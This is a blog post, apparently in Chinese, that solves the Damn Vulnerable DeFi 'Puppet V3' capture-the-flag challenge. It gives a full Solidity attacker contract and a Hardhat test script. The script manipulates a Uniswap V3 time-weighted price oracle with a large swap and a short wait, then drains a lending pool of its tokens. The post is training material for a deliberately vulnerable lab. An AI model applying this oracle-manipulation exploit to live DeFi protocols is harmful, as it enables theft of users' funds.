Defi安全挑战系列-Damn Vulnerable DeFi(#14 Puppet V3)
July 4th, 2023

即使在熊市中,贷款池背后的开发人员仍在不断构建。

在最新版本中,他们正在使用 Uniswap V3 作为预言机。没错,不再使用现货价格!这次,该池查询资产的时间加权平均价格,并使用了所有推荐的库。

Uniswap 市场提供了100个WETH和100个DVT的流动性。贷款池拥有一百万个DVT代币。

从1个ETH和一些DVT开始,通过从贷款池中获取所有代币来通过此挑战。

注意:与其他挑战不同,此挑战要求您在挑战的测试文件中设置有效的RPC URL,将主网状态分叉到您的本地环境中。

分析合约

解决方案

创建PuppetV3Attack.sol

//SPDX-License-Identifier:MIT

pragma solidity >0.7.0;

import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol";
import "@uniswap/v3-core/contracts/interfaces/IERC20Minimal.sol";
import "@uniswap/v3-core/contracts/libraries/TickMath.sol";

interface IPuppetV3Pool {
    function borrow(uint256 borrowAmount) external;

    function calculateDepositOfWETHRequired(
        uint256 amount
    ) external view returns (uint256);
}

interface IUniswapV3SwapCallback {
    /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.
    /// @dev In the implementation you must pay the pool tokens owed for the swap.
    /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.
    /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.
    /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by
    /// the end of the swap. If positive, the callback must send that amount of token0 to the pool.
    /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by
    /// the end of the swap. If positive, the callback must send that amount of token1 to the pool.
    /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call
    function uniswapV3SwapCallback(
        int256 amount0Delta,
        int256 amount1Delta,
        bytes calldata data
    ) external;
}

contract PV3Attacker is IUniswapV3SwapCallback {
    IERC20Minimal public token;
    IUniswapV3Pool public v3pool;
    IPuppetV3Pool public lendingPool;
    IERC20Minimal public weth;
    int56[] public tickCumulatives;

    constructor(
        address _token,
        address _v3pool,
        address _lendingPool,
        address _weth
    ) {
        token = IERC20Minimal(_token);
        v3pool = IUniswapV3Pool(_v3pool);
        lendingPool = IPuppetV3Pool(_lendingPool);
        weth = IERC20Minimal(_weth);
    }

    function callSwap(int256 _amount) public {
        v3pool.swap(
            address(this),
            false,
            _amount,
            TickMath.MAX_SQRT_RATIO - 1,
            ""
        );
    }

    function uniswapV3SwapCallback(
        int256,
        int256 amount1Delta,
        bytes calldata
    ) external override {
        uint256 amount1 = uint256(amount1Delta);
        token.transfer(address(v3pool), amount1);
    }

    function getQuoteFromPool(
        uint256 _amountOut
    ) public view returns (uint256 _amountIn) {
        _amountIn = lendingPool.calculateDepositOfWETHRequired(_amountOut);
    }

    function observePool(
        uint32[] calldata _secondsAgos
    )
        public
        returns (
            int56[] memory _tickCumulatives,
            uint160[] memory _secondsPerLiquidityCumulativeX128s
        )
    {
        (_tickCumulatives, _secondsPerLiquidityCumulativeX128s) = v3pool
            .observe(_secondsAgos);
        tickCumulatives.push(_tickCumulatives[0]);
        tickCumulatives.push(_tickCumulatives[1]);
    }

    function transferWeth() public {
        uint bal = weth.balanceOf(address(this));
        weth.transfer(msg.sender, bal);
    }
}

puppet-v3.challenge.js

  it("Execution", async function () {
    /** CODE YOUR SOLUTION HERE */
    //WETH-token0="0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"
    //DVT-token1="0xdF46e54aAadC1d55198A4a8b4674D7a4c927097A"
    //Swap DVT for ETH - OneForZero
    /**Step1: Deployment */
    const PuppetV3Attacker = await ethers.getContractFactory("PV3Attacker");
    const puppetV3Attacker = await PuppetV3Attacker.deploy(
      token.address,
      uniswapPool.address,
      lendingPool.address,
      weth.address
    );
    console.log("puppetV3Attacker is deployed at", puppetV3Attacker.address);
    await token
      .connect(player)
      .transfer(puppetV3Attacker.address, PLAYER_INITIAL_TOKEN_BALANCE);
    console.log(
      "puppetV3Attacker token balance is",
      ethers.utils.formatEther(
        (await token.balanceOf(puppetV3Attacker.address)).toString()
      ),
      "\n____________________________________________________",
      "\nZero for One: false - Swapping token for Weth...",
      "\n____________________________________________________"
    );
    /** Step2: swapping with time increments */

    console.log(
      "current liquidity before swap",
      (await uniswapPool.liquidity()).toString()
    );

    const slot = await uniswapPool.slot0()
    console.log({
      slot
    })
    console.log(
      "current slot0 sqrtpricex96 before swap",
      (await uniswapPool.slot0())[0].toString()
    );
    console.log(
      "current slot0 tick before swap",
      (await uniswapPool.slot0())[1].toString()
    );

    await puppetV3Attacker.callSwap(ethers.utils.parseEther("109"), {
      gasLimit: 3000000,
    });
    console.log(
      "Attacker Weth Balance after swap",
      ethers.utils.formatEther(
        (await weth.balanceOf(puppetV3Attacker.address)).toString()
      )
    );
    console.log(
      "Attacker Token Balance after swap",
      ethers.utils.formatEther(
        (await token.balanceOf(puppetV3Attacker.address)).toString()
      )
    );
    console.log("Current block number", await ethers.provider.getBlockNumber());
    console.log(
      "Quote after swap1",
      ethers.utils.formatEther(
        await lendingPool.calculateDepositOfWETHRequired(
          LENDING_POOL_INITIAL_TOKEN_BALANCE
        )
      ),
      "ether",
      "\n____________________________________________________"
    );

    await time.increase(100);
    console.log("Current block number", await ethers.provider.getBlockNumber());
    console.log(
      "Quote after 100s",
      ethers.utils.formatEther(
        await lendingPool.calculateDepositOfWETHRequired(
          LENDING_POOL_INITIAL_TOKEN_BALANCE
        )
      ),
      "ether"
    );

    console.log("current liquidity ", await uniswapPool.liquidity().toString());
    console.log("current slot0 ", (await uniswapPool.slot0())[0].toString());
    console.log(
      "current slot0 tick ",
      (await uniswapPool.slot0())[1].toString()
    );

    /**Step 3: Transfer Weth from attacker contract to player and borrow from pool */
    await puppetV3Attacker.connect(player).transferWeth();

    await weth
      .connect(player)
      .approve(lendingPool.address, ethers.utils.parseEther("99"));

    await lendingPool
      .connect(player)
      .borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE);

    console.log(
      `Seconds lapsed since execution starts`,
      (await ethers.provider.getBlock("latest")).timestamp -
      initialBlockTimestamp
    );
    console.log(
      `current timestamp`,
      (await ethers.provider.getBlock("latest")).timestamp
    );

    // Check the pool status for references
    await puppetV3Attacker.observePool([600, 0]);
    console.log(
      "tickCumulatives at 10min ago",
      (await puppetV3Attacker.tickCumulatives(0)).toString()
    );
    console.log(
      "tickCumulatives now",
      (await puppetV3Attacker.tickCumulatives(1)).toString()
    );

    console.log(
      "Weth balance in UniswapPool",
      ethers.utils.formatEther(
        (await weth.balanceOf(uniswapPool.address)).toString()
      )
    );
    console.log(
      "Token balance in UniswapPool",
      ethers.utils.formatEther(
        (await token.balanceOf(uniswapPool.address)).toString()
      )
    );
    //For reference: calculate spot price based on ratio of token balances
    let x = await weth.balanceOf(uniswapPool.address);
    let y = await token.balanceOf(uniswapPool.address);
    console.log(
      "Ref: Quote of 1million token from lending pool in Weth (based on ratio of token balances):",
      (x * 1000000 * 3) / y
    );
  });
Subscribe to skye
Receive the latest updates directly to your inbox.
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.
More from skye

Skeleton

Skeleton

Skeleton